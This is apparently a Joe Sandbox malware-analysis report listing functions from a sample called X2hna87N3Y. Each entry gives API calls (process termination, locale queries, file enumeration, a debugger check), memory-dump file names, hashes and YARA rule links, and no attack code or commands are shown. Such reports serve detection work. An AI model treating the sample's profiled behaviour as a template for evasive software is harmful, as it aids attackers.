Instruction Fuzzy Hash: 3DF08C75A40205EFDF01BB70C84AA6E3B75EF41710F144649F4029B291DB3059018BB1

Function 00DB5600 Relevance: 3.0, APIs: 2, Instructions: 28
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00DB562C
TerminateProcess.KERNELBASE ref: 00DB563F

Memory Dump Source

Source File: 00000000.00000002.1739694978.0000000000DB5000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1739612609.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739631448.0000000000D81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739654667.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739669444.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739682451.0000000000DB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739708743.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739724826.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 286f28f5a9345a00d0f4db7737855640d583ba9bbf0b7d8b8e6e6a811415c9ac
Instruction ID: 63d5d3a62e506a890da3667ba79c3fa9436b72b543f76527b8b598e1470587f8
Opcode Fuzzy Hash: 286f28f5a9345a00d0f4db7737855640d583ba9bbf0b7d8b8e6e6a811415c9ac
Instruction Fuzzy Hash: 40F08C71A01208DBD704BF78E8592AE7BE4EF48311F40813DE44ACB340DE3498448BA1

Function 00D975D3 Relevance: 2.6, APIs: 2, Instructions: 71
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(?,?,00D9126E,00DB1540,0000000C), ref: 00D975D7
SetLastError.KERNEL32(00000000), ref: 00D97679

Memory Dump Source

Source File: 00000000.00000002.1739631448.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1739612609.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739654667.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739669444.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739682451.0000000000DB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739694978.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739708743.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739724826.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: b1b806604a001e8a71ff73c3bb48be303ce7d5932fd5dc9e363ff0aef4d789a8
Instruction ID: 15ece939763b665547f397966d5154b55b6043b6fdfc1b4e7b6815788338b6dd
Opcode Fuzzy Hash: b1b806604a001e8a71ff73c3bb48be303ce7d5932fd5dc9e363ff0aef4d789a8
Instruction Fuzzy Hash: AD11C63227D711EEDFA03BB89CC6D3B2648EF11BA5B140235F515E21A1EE908D096574

Function 00D8A10F Relevance: 1.6, APIs: 1, Instructions: 111
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1739631448.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1739612609.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739654667.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739669444.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739682451.0000000000DB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739694978.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739708743.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739724826.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2cdbad74b7adcc63cb4c5723594c84de954f55e63111dd93626bbe997065957
Instruction ID: 4215f6479f7320868267859030ba1f1952d5b037b156898f15cb9603672ec0ce
Opcode Fuzzy Hash: f2cdbad74b7adcc63cb4c5723594c84de954f55e63111dd93626bbe997065957
Instruction Fuzzy Hash: D631843290461AEFDB15EE6CC8849EDB7B9BF09320F14125AE551E3290E731E944CB71

Function 00D9842D Relevance: 1.6, APIs: 1, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1739631448.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1739612609.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739654667.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739669444.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739682451.0000000000DB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739694978.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739708743.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739724826.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d204fa557add1d058cfd897aaec7e8aa1f508c80b363546bd3bfedbdd800a55
Instruction ID: e70df5742ef944d1456af0ba18c24a880a1398547a4f6c35bf5e414090edafea
Opcode Fuzzy Hash: 6d204fa557add1d058cfd897aaec7e8aa1f508c80b363546bd3bfedbdd800a55
Instruction Fuzzy Hash: 7A019637610316DF9F159F68EC4192633A6FFC6F607258225F965CB255DE31D800A7B0

Function 00D88770 Relevance: 1.6, APIs: 1, Instructions: 56
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::_Throw_Cpp_error.LIBCPMT ref: 00D88825

Memory Dump Source

Source File: 00000000.00000002.1739631448.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1739612609.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739654667.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739669444.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739682451.0000000000DB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739694978.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739708743.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739724826.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: Cpp_errorThrow_std::_
String ID:
API String ID: 2134207285-0
Opcode ID: fbc3d556adbb0a4fa2745318b740111da8dd0407791bf395753c220eaed8cd06
Instruction ID: 0b884bbf5b93cc5f17ef04f43a714af056e703a079c3ef287ff8ba7e4bf4498c
Opcode Fuzzy Hash: fbc3d556adbb0a4fa2745318b740111da8dd0407791bf395753c220eaed8cd06
Instruction Fuzzy Hash: 9721B7B4904309DFDB04EF68D5516AEBBF1FF48700F40886DE8999B350EB349A45DBA1

Function 00D88B60 Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

std::_Throw_Cpp_error.LIBCPMT ref: 00D88C0B

Memory Dump Source

Source File: 00000000.00000002.1739631448.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1739612609.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739654667.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739669444.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739682451.0000000000DB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739694978.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739708743.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739724826.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: Cpp_errorThrow_std::_
String ID:
API String ID: 2134207285-0
Opcode ID: 0ee6cdca52963778fa8c3bcda48f0424e552adf95dbeb071dc023accf66387bc
Instruction ID: 3fe78b9121754d8a82077c1879118213871c3abe49c40c1aee4d3dba74013bfc
Opcode Fuzzy Hash: 0ee6cdca52963778fa8c3bcda48f0424e552adf95dbeb071dc023accf66387bc
Instruction Fuzzy Hash: F621A7B4905309DFDB04EF64D5516AEBBF0FF48700F40846DE449A7354EB349A45DBA1

Function 00D8A101 Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1739631448.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1739612609.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739654667.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739669444.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739682451.0000000000DB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739694978.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739708743.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739724826.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: CriticalLeaveSection
String ID:
API String ID: 3988221542-0
Opcode ID: f8450a62e993a33e586ac9b08565858553729e5944594874579c3b708b740f0f
Instruction ID: 507f4545d4d41174e10b40e72b813a79e15e47807d798cd79dffc53499d3799e
Opcode Fuzzy Hash: f8450a62e993a33e586ac9b08565858553729e5944594874579c3b708b740f0f
Instruction Fuzzy Hash: 5B0126326083169BDB15AB7CE968768BB50FF45338F24416FD01189581CB225810D331

Function 00D98700 Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,?,?,00D97620,00000001,00000364,?,00000006,000000FF,?,00D9126E,00DB1540,0000000C), ref: 00D98741

Memory Dump Source

Source File: 00000000.00000002.1739631448.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1739612609.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739654667.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739669444.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739682451.0000000000DB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739694978.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739708743.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739724826.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 93134246d80480d00a949f65cfa88caaf3c5ab22a33acfe48e1581cb14e3b1fb
Instruction ID: 8c79349f18ebbe2077ec14390c2ab2da2a0d3efdaf53a7cb37750fb39a6c5f21
Opcode Fuzzy Hash: 93134246d80480d00a949f65cfa88caaf3c5ab22a33acfe48e1581cb14e3b1fb
Instruction Fuzzy Hash: C5F05431501225E69F215BA69C45F5A7B99DF42BA0B3D4512A848E6191CE30D801A6B1

Function 00D97381 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,00D9935A,?,?,00D9935A,00000220,?,00000000,?), ref: 00D973B3

Memory Dump Source

Source File: 00000000.00000002.1739631448.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1739612609.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739654667.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739669444.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739682451.0000000000DB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739694978.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739708743.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739724826.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 025fa3cb04db64d362809c1bf5ccbbe7b44de9d3ae6503f9cabd1fc7c44f6528
Instruction ID: 7dd6403c586f2fc8f3b25510c75fabe3882c63bc11e43f4323f171a8ab1c1606
Opcode Fuzzy Hash: 025fa3cb04db64d362809c1bf5ccbbe7b44de9d3ae6503f9cabd1fc7c44f6528
Instruction Fuzzy Hash: E2E0923292A222E6EF213A659C02F6B3B4CDF417F0F1D0121FC68D6195DB20CC00A5B5

Non-executed Functions

Function 00DA29F2 Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1479COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00DA2C09

Strings

1#QNAN, xrefs: 00DA2B05
1#IND, xrefs: 00DA2AF7
1#SNAN, xrefs: 00DA2AFE
1#INF, xrefs: 00DA2B28

Memory Dump Source

Source File: 00000000.00000002.1739631448.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1739612609.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739654667.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739669444.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739682451.0000000000DB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739694978.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739708743.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739724826.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 61b5c95b5099b76a587ce3954f3b95dec5b3f83c321fbcfa646464237ed45d1b
Instruction ID: 3956e62fd01e3c065a863859bbc2cff9c57e0acf68b716d119bab4554b82d379
Opcode Fuzzy Hash: 61b5c95b5099b76a587ce3954f3b95dec5b3f83c321fbcfa646464237ed45d1b
Instruction Fuzzy Hash: F2D23A71E082288FDB65CE28CD407EAB7B6EB45314F1845EAE44DE7240D778AF858F61

Function 00D9CD76 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,?,00000002,00000000,?,?,?,00D9C747,?,00000000), ref: 00D9CE0F
GetLocaleInfoW.KERNEL32(?,20001004,?,00000002,00000000,?,?,?,00D9C747,?,00000000), ref: 00D9CE38
GetACP.KERNEL32(?,?,00D9C747,?,00000000), ref: 00D9CE4D

Strings

OCP, xrefs: 00D9CDCA
ACP, xrefs: 00D9CD94

Memory Dump Source

Source File: 00000000.00000002.1739631448.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1739612609.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739654667.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739669444.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739682451.0000000000DB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739694978.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739708743.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739724826.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 6f3e65b028d901b59b2e695b4eab03c167944b628aae05a44ee3feefb8fdaaaf
Instruction ID: 0fc6945f2c79d253734742c2b525c288fcfdee3babc7e08326dc03ef9e894f08
Opcode Fuzzy Hash: 6f3e65b028d901b59b2e695b4eab03c167944b628aae05a44ee3feefb8fdaaaf
Instruction Fuzzy Hash: 3221A122A60201EAEF359F64C900B9777A6EB54B64B5AA574F90BD7204F732DE41C3B0

Function 00D9C611 Relevance: 7.7, APIs: 5, Instructions: 182COMMON

Download Yara Rule

APIs

Part of subcall function 00D975D3: GetLastError.KERNEL32(?,?,00D9126E,00DB1540,0000000C), ref: 00D975D7
Part of subcall function 00D975D3: SetLastError.KERNEL32(00000000), ref: 00D97679

GetUserDefaultLCID.KERNEL32 ref: 00D9C719
IsValidCodePage.KERNEL32(00000000), ref: 00D9C757
IsValidLocale.KERNEL32(?,00000001), ref: 00D9C76A
GetLocaleInfoW.KERNEL32(?,00001001,?,00000040,?,?,00000055,00000000,?,?,00000055,00000000), ref: 00D9C7B2
GetLocaleInfoW.KERNEL32(?,00001002,?,00000040), ref: 00D9C7CD

Memory Dump Source

Source File: 00000000.00000002.1739631448.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1739612609.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739654667.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739669444.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739682451.0000000000DB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739694978.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739708743.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739724826.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: 7ea239bf8ca60e7db1596fb900d6736cb9d9fc163a2570526846d335fd124fdb
Instruction ID: e0c77f3c6ba1d87a115fe11664db45f6c3fad82092b2eec64910ad2103614469
Opcode Fuzzy Hash: 7ea239bf8ca60e7db1596fb900d6736cb9d9fc163a2570526846d335fd124fdb
Instruction Fuzzy Hash: AA516D71A20205AFEF10EFA5CC81ABB77B8FF49700F485569E911E7291EB70D9048BB1

Function 00D95790 Relevance: 6.5, APIs: 4, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1739631448.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1739612609.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739654667.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739669444.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739682451.0000000000DB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739694978.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739708743.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739724826.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0370feb49d06202b0a8a2cb5e48f043198ba8953b6faff8e379c5fb6cd4322bb
Instruction ID: 37a066dc76fa12c51f4ac807f9bda618589c05416ca614a213ac30e317d27d68
Opcode Fuzzy Hash: 0370feb49d06202b0a8a2cb5e48f043198ba8953b6faff8e379c5fb6cd4322bb
Instruction Fuzzy Hash: 7B023C71E016199FDF15CFA8D8806AEFBF1FF48324F288269D519A7344D731AA41CBA4

Function 00D9D358 Relevance: 6.2, APIs: 4, Instructions: 206fileCOMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000), ref: 00D9D448
FindNextFileW.KERNEL32(00000000,?), ref: 00D9D53C
FindClose.KERNEL32(00000000), ref: 00D9D57B
FindClose.KERNEL32(00000000), ref: 00D9D5AE

Memory Dump Source

Source File: 00000000.00000002.1739631448.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1739612609.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739654667.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739669444.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739682451.0000000000DB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739694978.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739708743.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739724826.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: Find$CloseFile$FirstNext
String ID:
API String ID: 1164774033-0
Opcode ID: fa5ed2f2b913e6ded08fab2435c2c8113aba3b13a132f15633ca87e348d3e3e8
Instruction ID: 0f2c70ac7d54c0d788c0cf610ba92cd1963ed7343d60c150ea899ce3d6e72a94
Opcode Fuzzy Hash: fa5ed2f2b913e6ded08fab2435c2c8113aba3b13a132f15633ca87e348d3e3e8
Instruction Fuzzy Hash: B371E4759051589FDF21AF38CC89ABEBBBAEF45304F1841D9E04C97251DA318E849F30

Function 00D8B64C Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 00D8B658
IsDebuggerPresent.KERNEL32 ref: 00D8B724
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00D8B73D
UnhandledExceptionFilter.KERNEL32(?), ref: 00D8B747

Memory Dump Source

Source File: 00000000.00000002.1739631448.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1739612609.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739654667.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739669444.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739682451.0000000000DB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739694978.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739708743.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739724826.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 6b1e7f735e5017d39a7579d451237724a85003a8a68bb0dc7b923e94f6ad90a1
Instruction ID: cef39a7529c0de3d492e38f6b796ca9cae303d47f5585dbe69553e711835a545
Opcode Fuzzy Hash: 6b1e7f735e5017d39a7579d451237724a85003a8a68bb0dc7b923e94f6ad90a1
Instruction Fuzzy Hash: 4731F875D01318DBEF20EF65D98A7CDBBB8EF08310F1041AAE40CAB250EB719A858F55

Function 00D8C367 Relevance: 6.0, APIs: 4, Instructions: 25timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 00D8C379
GetCurrentThreadId.KERNEL32 ref: 00D8C388
GetCurrentProcessId.KERNEL32 ref: 00D8C391
QueryPerformanceCounter.KERNEL32(?), ref: 00D8C39E

Memory Dump Source

Source File: 00000000.00000002.1739631448.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1739612609.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739654667.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739669444.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739682451.0000000000DB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739694978.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739708743.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739724826.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 2b2485e3fc964bd3f789f4cc80d63e29397a9fec69c95ddd97ab76b796f949cd
Instruction ID: 651b8a81d28880dda7113d606df3e4969a4ded15de8de3af887734c4930399d2
Opcode Fuzzy Hash: 2b2485e3fc964bd3f789f4cc80d63e29397a9fec69c95ddd97ab76b796f949cd
Instruction Fuzzy Hash: B4F05F74D1120DEBCF00EBB5DA4999FBBF4FF1C204B914695A412F6211EA30AB449FA0

Function 00D9C8FD Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 00D975D3: GetLastError.KERNEL32(?,?,00D9126E,00DB1540,0000000C), ref: 00D975D7
Part of subcall function 00D975D3: SetLastError.KERNEL32(00000000), ref: 00D97679

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00D9C951
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00D9C99B
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00D9CA61

Memory Dump Source

Source File: 00000000.00000002.1739631448.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1739612609.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739654667.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739669444.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739682451.0000000000DB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739694978.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739708743.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
